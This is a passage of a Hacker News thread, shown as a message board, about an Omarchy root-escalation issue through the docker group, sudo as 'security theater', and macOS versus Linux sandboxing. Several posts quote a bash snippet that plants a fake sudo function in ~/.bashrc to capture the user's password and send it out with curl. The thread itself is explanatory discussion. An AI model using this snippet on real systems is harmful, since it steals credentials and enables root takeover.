Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Omarchy: Any User Process Can Escalate to Root

0xcc.io

Post reply on HN
Print view View original

101–110 of 583 posts

Re: Omarchy: Any User Process Can Escalate to Root

#101

Post by porridgeraisin »

I mean, I saw this on twitter, and thought ok maybe its a nice exploit. But really? its the usual docker root thing?

I wouldn't even consider that a vulnerability tbh, every personal laptop I had I add myself to docker group. Yes, you can not namespace pids, filesystem, etc, and get root, but it's never mattered.

If someone can run that docker command, they can already read your whole homedir, edit bashrc, etc etc,. and sudo is useless anyways.

Only on a system where you are a user without sudo access, does it even begin to make sense. And if you go to the trouble of intentionally setting up a user without sudo access, you wouldn't be adding that user to the docker group either. In the default install, I assume omarchy adds you to the sudoers as well, making this a perfectly ok thing to do

Even if you participate in the esteemed Red Hat Security Theater and use wayland, flatpaks, etc, most flatpaks can write anywhere in your home dir, so they can do this too.

On standard linux desktop, sudo is not really security, but it is a UX improvement as it adds friction to accidentally doing things to the "system".

[I don't use omarchy]

Re: Omarchy: Any User Process Can Escalate to Root

#102

Post by supriyo-biswas »

quadrifoliate wrote: post #42
thehamkercat wrote: post #24

I think people shouldn't just jump to distros which are getting heavily hyped in media/Youtube, cachyOS had similar wave, and now Omarchy does. (example: NetworkChuck, Primeagen? and a few others) also, archlinux is much easier to install nowadays with archinstall [1], so i'm not sure you really need another opinionated layer on top of it [1] - https://wiki.archlinux.org/title/Archinstall

[flagged]

> As a developer who mostly wants a Mac-like Linux distro without the associated noise

I'm required to use Ubuntu at work. Coming from Mac, apart from the menu bar at the top, on Gnome, I've been able to customize the keyboard shortcuts, remap the keyboard so that Ctrl works like Cmd, and use extensions like Dash to Dock[1] and themes like Whitesur[2] to replicate something that almost works like a Mac.

The keyboard remapping and customizing keyboard shortcuts were all done within default the default settings app.

The only things missing are some keyboard shortcuts like Ctrl+A/V to move to the beginning and end, and the Ctrl+Shift+C/V behavior on the terminal instead of Cmd+C, which I've just worked around by using VSCode's terminal and configuring it to copy when I press Ctrl+C with some text selected.

[1] https://extensions.gnome.org/extension/307/dash-to-dock/

[2] https://github.com/vinceliuice/WhiteSur-icon-theme

Re: Omarchy: Any User Process Can Escalate to Root

#103

Post by awesan »

onesandofgrain wrote: post #90
concinds wrote: post #48

A few days ago someone found they were flowing USB descriptors straight into the shell. https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8... Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?

This seems to be quite contrarian considering we had this on the front page of HN the other day: "Debian votes to allow "responsible use of generative AI". I guess this LLM coding wasn't "Responsible" enough. hahaha Let the AI bubble pop baby

Omarchy is all in on AI, if you look at the recent commits and the dev workflows they have set up you can easily tell no human is looking at all the stuff they are merging.

It's not the same thing as allowing some AI contributions under strict guidelines.

Re: Omarchy: Any User Process Can Escalate to Root

#104

Post by lrvick »

exitb wrote: post #15

It’s not great, but I’m not sure this should be framed as Omarchy-specific, when it’s a very common setup to add regular user to the docker group.

Docker can be run rootless. It is so easy. No excuse for desktop distros to not do this by default. And that is why all major Linux distros are just as bad as Omarchy (Not recommending MacOS or Windows either as those are wildly worse)

Re: Omarchy: Any User Process Can Escalate to Root

#105

Post by mike_hearn »

amluto wrote: post #47
mike_hearn wrote: post #33

Linux isn't like macOS, it doesn't have any kind of proper desktop sandboxing architecture that really works. So this is kind of security theatre. If you run a malicious program it can do stuff like tamper with your PATH or exploit local vulns in apps to get to the point where it can control anything that matters (which root generally doesn't). For instance it can just drop a custom shell into ~/.bin/.hidden-shell an…

> Linux isn't like macOS, it doesn't have any kind of proper desktop sandboxing architecture that really works. I’m sorry, what? MacOS’s desktop sandboxing is pathetic . Sure, it kind of sort of tries to prevent an application from rummaging until you give it permission. And that permission is hilariously coarse grained, and it gets regularly broken anyway. (Seriously, read about TCC breaks. They’re not little implem…

There can be exploits in any security system but the architecture is sound. There's no equivalent of TCC on Linux (I mean one that really sticks), and no easy way to create one.

The sandboxing isn't bad. It's obviously weaker if you do everything in the Terminal and stay in old-school UNIX territory because it wasn't designed to sandbox developer workloads. But it's a lot better than nothing, which is what Linux offers.

The OS does actually protect you when it asks if the terminal should be able to access ~/Documents. You can say no, and then random stuff you curl|bash can't read files in that folder unless there's an exploit. Apps that opt in to app sandboxing are much better protected and can store files/settings in an area of $HOME that other apps can't access at all without the right permissions.

It would be difficult to do on Linux because an Apple style architecture requires apps to systematically use the blessed OS APIs for functionality. Not only for things like file pickers but also camera access, storing preferences, etc. In Linux it'd require the architecture to be tied to a specific desktop environment and associated set of apps. There's not enough consistency otherwise.

It also needs pervasive kernel enforced app identity and equivalents to Apple's bookmarks, Mach context propagation, SBPL, app containers architecture etc.

It also needs an agreed on way to handle malware reporting and detection, out of the box, and some authority that's trusted to hand out sensitive permissions (for writing debuggers, if nothing else).

You can hack something together with bits and pieces Linux has, and define a way to write apps that delivers something like Apple's architecture - as Android has - but that won't bring the ecosystem with you. And it will suffer from a high degree of centralization where distributors have to approve every app, with any app you get outside your distro's package repositories being a free for all. Apple's architecture allows apps to be distributed outside the app store while still being sandboxed to a lesser or greater extent, as well as scanned for malware ahead of time and located anywhere on disk (by extension, you can have >1 version of an app installed at once and sandboxing still works).

Re: Omarchy: Any User Process Can Escalate to Root

#106

Post by ffsm8 »

ahelwer wrote: post #92
lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

You need root in order to overwrite sudo in the first place I think, but yes password replay attacks are real. This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges. You don't even need a password at that point. Unfortunately haven't figured out how to make this work over SSH.

Look at the excerpt. They're not overwriting the sudo binary. The attack vector is real for malware running on a administrator user session which can be escalated to root via sudo.

It's a niche, but it's real. Esp. if you're targeting npm installed user scripts or similar

Re: Omarchy: Any User Process Can Escalate to Root

#107

Post by AshamedCaptain »

Brian_K_White wrote: post #95
jp_sc wrote: post #79

Earlier quoted context omitted.

It's definitely not why *I* switched away from Windows

You didn't switch away from windows to get superior software? Also, the statement was valid because it will be true for most. It doesn't matter that you read it and it wasn't true for you, as long as it's true by the numbers, it's true, because it's one-to-many communication not one to one.

While I don't want to discuss the quality of any distro vs Windows, there is a big reason most of us use free software: because it is free. Whether for you it is because of free as in freedom or free as in beer specifically, quality may not have much to do with it.

Re: Omarchy: Any User Process Can Escalate to Root

#108

Post by porridgeraisin »

ahelwer wrote: post #92
lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

You need root in order to overwrite sudo in the first place I think, but yes password replay attacks are real. This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges. You don't even need a password at that point. Unfortunately haven't figured out how to make this work over SSH.

No, the above attack writes that function into bashrc, meaning the next time the user runs sudo themselves, you harvest their password.

Re: Omarchy: Any User Process Can Escalate to Root

#109

Post by leothetechguy »

lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

Wow. This never crossed my mind but of course that's so simple. There really needs to be a better solution.

Re: Omarchy: Any User Process Can Escalate to Root

#110

Post by lrvick »

ahelwer wrote: post #92
lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

You need root in order to overwrite sudo in the first place I think, but yes password replay attacks are real. This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges. You don't even need a password at that point. Unfortunately haven't figured out how to make this work over SSH.

> You need root in order to overwrite sudo in the first place I think

You just need write access to .bashrc or similar.

> This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges.

Unprivileged malware will be waiting with a root payload ready to fire the next time you tap your yubikey.

Post reply on HN